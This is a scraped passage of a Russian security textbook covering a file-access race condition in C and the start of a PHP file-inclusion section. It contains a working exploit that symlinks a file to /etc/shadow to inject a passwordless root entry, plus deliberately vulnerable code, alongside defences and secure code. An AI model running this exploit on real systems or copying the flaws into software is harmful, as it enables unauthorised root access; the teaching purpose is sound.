Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Иванов Разрушаюсчие программные воздействия 2011

.pdf
Скачиваний:
154
Добавлен:
16.08.2013
Размер:
2.56 Mб
Скачать

30fprintf(stderr,"Попытка открыть файл . . .\n");

31if ((fp = fopen (argv [1], "w")) == NULL) {

32fprintf (stderr, "can't open\n");

33return 1;

34}

35fprintf (fp, "%s\n", argv [2]);

36fclose (fp);

37fprintf (stderr, "Запись прошла успешно \n");

38return 0;

39}

Программа начинает выполнение, осуществляя все необходимые проверки, т.е. файл существует (строка 17), принадлежит данному пользователю (строка 21) и это обычный файл (строка 25). Потом файл открывается (строка 31), и в него записывается сообщение (строка 35). Здесь и появляется условие для состязания: в промежутке времени между чтением атрибутов файла и его открытием при помощи fopen(). Данный промежуток достаточно мал, однако может оказаться достаточным для подмены параметров файла.

Пример использования уязвимости

В приведенной программе условие для состязания доступно для использования только на очень короткое время. Для увеличения времени между проверкой и использованием файла нужно замедлить процесс выполнения программы. Для этого можно выполнить следующие действия:

уменьшить приоритет атакуемого процесса, насколько это возможно, используя команду «nice»;

занять вычислительные ресурсы, запуская различные

процессы, занимающие процессорное время (например, с помощью бесконечных циклов вида while (1););

Рассмотрим, как злоумышленник может провести атаку с помощью следующей утилиты, в которой используются перечисленные подходы:

271

1#include <stdio.h>

2#include <sys/wait.h>

3#include <unistd.h>

4#include <stdlib.h>

5

6int main(int argc, char **argv)

7{

8int status, k, i;

9pid_t pid1, pid2, pid3;

10

11if ((pid1 = fork()) == 0){

12while(1)

13k+=999;

14}

15

16for (i=0; i<100; i++){

17fprintf(stderr,"calling ./frace . . .\n");

19if ((pid2 = fork()) == 0){

20system("touch afile; nice -n 19 ./frace afile root::1:99999:::::&");

21}

22fprintf(stderr,"link . . .\n");

23if ((pid3 = fork()) == 0){

24system("rm -rf afile;ln -s /etc/shadow afile");

25}

26}

27return 1;

28}

Предположим, приведенная уязвимая программа называется «frace». Тогда данный эксплойт в ходе своего выполнения запускает параллельно три процесса, которые являются дочерними по отношению к исходному. Делается это с помощью системного вызова fork(). Первый процесс призван замедлить выполнение программы за счет бесконечного цикла (строки 11 - 14). Второй процесс призван понизить приоритет с помощью утилиты nice, тем самым сделав выполнение программы еще более медлен-

272

ным. Также во втором процессе выполняется вызов атакуемой программы, которой предписывается сделать запись в файл «afile» – некий произвольный файл, который создается как раз перед вызовом атакуемой программы (строка 20).

Суть же атаки кроется как раз в третьем процессе, который постоянно пытается удалить существующий файл «afile» и создать вместо него ссылку на файл паролей с таким же именем «afile». Схема атаки приведена на рис. 7.5.

Рис. 7.5. Схема использования уязвимости Race Condition:

а— состояние файловой системы на этапе проверки условий;

б— на этапе открытия файла на запись

Таким образом, в процессе выполнения данного эксплойта на одной из итераций возникнет ситуация, когда уязвимая программа удачно пройдет все проверки — обнаружит файл «afile» и установит, что в него можно сделать запись. Но перед самой записью файл «afile» будет заменен ссылкой на системный файл паролей, что приведет к добавлению в системный файл паролей несанкционированной записи, которой потом воспользуется злоумышленник.

Таким образом, для злоумышленника существует возможность получить максимальные права в системе.

Способы защиты от уязвимости

Использование дескрипторов файлов. Ошибка, которая была в предыдущей программе, произошла из-за предположения, что соответствие между именем файла и его содержимым неизмен-

273

но. Чтобы это было именно так, нужно работать не с именем файла, а с его дескриптором: уникальным номером, ассоциированным с физическим файлом во внутренней таблице. Все операции чтения, которые будут производиться, будут относиться к содержимому этого файла без учета того, что происходит с именем, которое было использовано при операции открытия. Можно открыть файл, а затем проверять права доступа, изучая характеристики дескриптора, а не какого-то имени файла.

В табл. 7.6 приводится описание системных вызовов, которые следует использовать.

Таблица 7.6

Системные вызовы для работы с файлами

Системный вызов

Описание

 

int open(

Открывает файл с именем, заданным

const char *filename,

параметром «filename», для операций,

int oflag

определяемых параметром

«oflag»;

[, int pmode]

«pmode» — необязательный параметр,

)

задающий права доступа к файлу при

 

его создании. Возвращает дескриптор

 

открытого файла

 

int fchdir (int fd)

Изменяет текущий рабочий каталог

int fchmod (int fd, mode_t

Изменяет права доступа к файлу, за-

mode)

данному дескриптором «fd», в соответ-

 

ствии со значениями, заданными пара-

 

метром «mode»

 

int fchown (int fd, uid_t uid,

Изменяет для открытого файла, задан-

gid_t gif)

ного дескриптором «fd»,

владельца

 

файла (в соответствии с параметром

 

«uid») и группу файла (в соответствии

 

с параметром «gid»)

 

int fstat (int fd, struct stat * st)

Получает информацию об

открытом

 

файле, заданном своим индексным де-

 

скриптором «fd», и заносит ее в струк-

 

туру, заданную параметром «st»

 

274

 

Окончание табл. 7.6

FILE *fdopen (int fd, char * mode)

Устанавливает ассоциацию потока ввода-вывода с дескриптором открытого файла, заданного параметром «fd»; «mode» – тип доступа к файлу

Использование нестандартных имен временных файлов.

Одна из причин возникновения уязвимости данного класса — предсказуемость имени файла. Нужно использовать имя файла, уникальное для каждого экземпляра программы. Существуют различные библиотечные функции, которые могут предоставить индивидуальное имя временного файла. Однако если исходные коды открыты, имя файла остается предсказуемым, хотя получить это имя намного сложнее.

При создании временного файла для генерации его имени можно использовать:

системные функции, которые возвращают указатели на случайно созданные имена; в табл. 7.7 приведен список подобных функций;

идентификатор процесса «process ID», который генерируется заново для каждого нового процесса;

идентификатор пользователя «user ID»;

текущее время (NTP – Network Time Protocol); во времени указываются также миллисекунды;

счетчик;

какие-либо криптографические протоколы (быстро и надежно);

какие-либо внешние параметры (медленно):

движение и нажатия на мышь;

нажатия на клавиатуру;

параметры пакетов, передаваемых по сети;

/dev/random — в Linux основой этого метода является захват внешних параметров, но вызов «cat /dev/random» блокируется до получения параметров;

/dev/urandom — сложные алгоритмы, использующие системную функцию random() и линейные преобразования

275

внешних параметров, вызов «cat /dev/urandom» доступен всегда.

 

 

 

Таблица 7.7

Функции для генерации имен файлов

 

 

 

 

 

 

Функция

 

Описание

 

 

char *tempnam(

Генерирует уникальное в каталоге, заданном

const char *dir,

переменной среды TMP или параметром dir,

const char *prefix

имя файла, начинающееся строкой, заданной

)

параметром «prefix»; возвращает указатель на

 

динамически выделенную область памяти, в

 

которой

размещается сгенерированное

имя

 

файла

 

 

 

FILE *tmpfile (void)

Создает временный файл с уникальным именем

 

и сразу открывает его; файл автоматически

 

удаляется при его закрытии

 

 

char *mktemp(

Создает уникальное имя файла, модифицируя

char *template

шаблон имени, заданный параметром template.

)

Шаблон представляет собой строку, которая

 

заканчивается символами

"XXXXXX".

Эти

 

символы заменяются так, чтобы получить уни-

 

кальное имя файла

 

 

int mkstemp(

Функция,

рекомендованная

в SecurePrograms-

char *template

HOW TO, также создает уникальное имя файла,

)

записывая его вместо шаблона, заданного па-

 

 

раметром template. При успешном завершении

 

возвращает дескриптор открытого файла

 

 

 

int mkstemps(

Функция, аналогичная mkstemp(), позволяет

char *template,

генерировать имя файла с суффиксом (формат

int slen

имени файла также определяется шаблоном,

)

заданным параметром template). Параметр slen

 

задает длину суффикса

 

 

char *mkdtemp(

Обеспечивает создание временного каталога с

char *template

уникальным именем, создаваемым так же, как и

)

в функции mktemp(), и правами доступа 0700

 

 

276

 

 

Утилиты для проверки программ на наличие уязвимости.

В ОС семейства UNIX существует ряд утилит, которые помогают бороться с рассматриваемой уязвимостью.

Openwall — заплатка для ядра Linux, которая добавляет следующую возможность: пользователь, не обладающий правами «root», не может создавать жесткую ссылку на файл, если этот файл ему не принадлежит. Пользователь «root» не может обращаться к файлу через символьную ссылку.

RaceGuard — максимально сокращает время между проверкой существования и доступом к файлу. Эффективный доступ реализуется за счет использования так называемой «оптимистической блокировки»: разрешаются обе операции доступа, но вторая операция записи блокируется, если она указывает на другой файл, а не на тот, который был использован при первом обращении.

Prexis — коммерческий продукт фирмы «Ounce Labs», статический анализатор исходного кода программ. В базе уязвимостей есть состязания.

ITS4 — свободно распространяемый статический сканер исходных кодов программ, способен находить уязвимости состязаний.

Пример безопасного кода

Для того чтобы избежать появления уязвимости данного типа, как было упомянуто, следует использовать функции, которые работают с файлом, определяя этот файл не по его имени (или пути к нему), а по его дескриптору. В приведенной ранее уязвимой программе это можно осуществить, используя системный вызов fstat(), который получает характеристики файла, заданного дескриптором, а не именем. Дескриптор файла получают при открытии файла с помощью системного вызова open(). В дальнейшем, чтобы получить доступ к содержимому файла с помощью стандартных функций ввода-вывода библиотеки ANSI C, следует использовать функцию fdopen(), которая преобразует дескриптор файла.

1#include <fcntl.h>

2#include <stdio.h>

3#include <stdlib.h>

277

4#include <unistd.h>

5#include <sys/stat.h>

6#include <sys/types.h>

8int main (int argc, char * argv [])

9{

10struct stat st;

11int fd;

12FILE * fp;

13setuid(0);

14if (argc != 3) {

15fprintf (stderr, "Usage: %s file message\n", argv [0]);

16return 1;

17}

18if ((fd = open (argv [1], O_WRONLY, 0)) < 0) {

19fprintf (stderr, "can't open\n", argv [1]);

20return 1;

21}

22fstat (fd, & st);

23if (st.st_uid != getuid ()) {

24fprintf (stderr, "permission denied:) %s \n", argv [1]);

25return 1;

26}

27if (! S_ISREG (st.st_mode)) {

28fprintf (stderr, "%s is not a normal file\n", argv[1]);

29return 1;

30}

31if ((fp = fdopen (fd, "w")) == NULL) {

32fprintf (stderr, "can't open\n");

33return 1;

34}

35fprintf (fp, "%s", argv [2]);

36fclose (fp);

37fprintf (stderr, "Write OK\n");

38return 0;

39}

278

7.2. Безопасность интерпретаторов

Как уже отмечалось ранее, в компиляторах и в интерпретаторах используются одинаковые методы анализа исходного текста программы. Но интерпретатор позволяет начать обработку данных после написания даже одной команды. Это делает процесс разработки и отладки программ более гибким.

Программа в случае интерпретируемых языков называется сценарием или, чаще, скриптом (от англ. Script –сценарий) и представляет собой последовательность команд, которые интерпретатор обрабатывает одну за другой.

Очевидно, что скорость выполнения программ в режиме интерпретации намного ниже, чем у скомпилированного кода, так как при каждом исполнении интерпретируемой программы необходимо заново полностью обрабатывать текст программы, написанной программистом. Тем не менее, простота отладки и гибкость являются причиной того, что интерпретируемые языки часто применяются администраторами для написания служебных скриптов для взаимодействия с операционной системой, а также для разработки web-приложений.

7.2.1. Уязвимость подключения внешних файлов

Суть уязвимости

В интерпретируемых языках, наряду с огромным количеством преимуществ, существует также ряд существенных недостатков. К преимуществам интерпретируемых языков традиционно относят легкость отладки, быстрое создание приложений, удобство применения в решении конкретных задач и некоторые другие. Недостатки интерпретируемых языков являются как раз обратной стороной их преимуществ.

Так многие интерпретируемые языки основаны на использовании подключения файлов «на лету». Такой прием позволяет в процессе выполнения того или иного программного кода включить в

279

этот код содержимое некоторого стороннего файла, которое также будет восприниматься интерпретатором как программный код.

В качестве примера рассмотрим код на языке РНР, где подобная работа с файлами является весьма популярной. Для этого в данном языке используются функции include(), require() и fopen(). Каждая из этих функций выполняет, с небольшими вариациями, включение в интерпретируемый код внешних файлов. Подключаемые файлы могут находиться на локальном диске и на серверах в Интернете. Для доступа к последним файлам используется их URI. Из-за неправильной обработки динамически подключаемых файлов или путей к файлам появляется большое количество уязвимых скриптов.

Пример уязвимого кода

Уязвимость при подключении внешних файлов появляется в тот момент, когда в скрипте адрес внешнего файла передается как параметр. Все большее число разработчиков используют подобный метод передачи файлов, что особенно удобно, если речь идет о передаче шаблонов на языке разметки HTML.

Подобные шаблоны страниц помогают программисту без труда изменять облик сайта в зависимости от действий пользователя.

Приведем элементарный пример подобного уязвимого кода.

1<?php

2include ($HTTP_GET_VARS['template']);

3?>

Как видно из приведенного короткого скрипта, все, что он делает – это выводит на экран содержание того шаблона, который был передан ему методом GET, т.е. посредством URI, содержащимся в заголовке запроса.

Если, например, подобный файл располагается на сайте example.ru, то стандартный запрос к нему выглядит следующим образом:

http://example.ru/page.php?template=aboutus.html

280

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]